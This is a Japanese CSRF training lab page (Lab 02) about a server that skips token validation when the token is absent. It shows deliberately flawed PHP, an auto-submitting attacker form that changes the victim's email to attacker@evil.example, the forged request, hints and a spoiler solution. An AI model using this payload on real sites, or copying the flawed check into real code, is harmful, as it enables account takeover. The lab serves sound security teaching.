utsuroi csrf labs Lab 02 / 5 — Practitioner
02

CSRF Token の検証不備 — 「Token があれば何でもよい」実装

CSRF where token validation depends on token being present

Lab 01 の指摘を受けて、うつろい EC は CSRF Token を実装した。フォームには csrf_token という hidden field があり、サーバ側で「Token が一致するか」を検証している。

しかしサーバ側の実装にバグがある:Token が空文字列(またはパラメータ自体が無い)場合、検証がスキップされる。「Token を検証する」という条件分岐の中に「もし Token があれば」というガードが入っていて、Token を送らなければ検証自体が行われない。

この実装ミスを突いて、被害者のメールアドレスを attacker@evil.example に変更してください。Token を送らなければ検証されない。

shop.utsuroi.example.com / mypage
// PHP
function validate_csrf() {
    // ★バグ: Token が送られていない場合、検証をスキップ
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] === '') {
        return true;  // ← 検証スキップ
    }
    return $_POST['csrf_token'] === $_SESSION['csrf_token'];
}

if (!validate_csrf()) {
    abort(403);
}
// ↓ ここに到達してしまう
$user->email = $_POST['email'];
$user->save();
攻撃者の罠 HTML(Token フィールドを除外)
<form action="https://shop.utsuroi.example.com/account/email" method="POST">
  <input type="email" name="email" value="attacker@evil.example">
  <!-- ★ csrf_token フィールドが無い → サーバ側で検証スキップ -->
</form>
<script>document.forms[0].submit();</script>
送られるリクエスト
POST /account/email HTTP/1.1
Cookie: session=victim_session_xxx
email=attacker@evil.example
(csrf_token フィールドなし)
ヒント 1 — 検証ロジックの穴

サーバ側のコードをよく読むと、「Token が送られていないか空文字列なら、true を返す」という条件分岐があります。これは「未認証ユーザのリクエストには Token を要求しない」というつもりで書いた防御コードがバグになっている典型例。

ヒント 2 — 攻撃の作り方

下のチェックボックスで「CSRF Token を含めて送信」のチェックを外してから「攻撃を実行」を押してください。

正解(ネタバレ)

「CSRF Token を含めて送信」のチェックを外して攻撃を実行。Token フィールドが送られないため、サーバの検証関数が「Token なし→検証スキップ」のパスを通り、攻撃者のメールアドレスが設定されます。

このバグの根本原因は「正常系を考えて防御を緩めた」こと。「ログイン前のフォームには Token が無いから、無い場合は通そう」という発想がそのまま脆弱性になりました。CSRF Token は「送られて」「正しい」の両方を必須にするのが鉄則。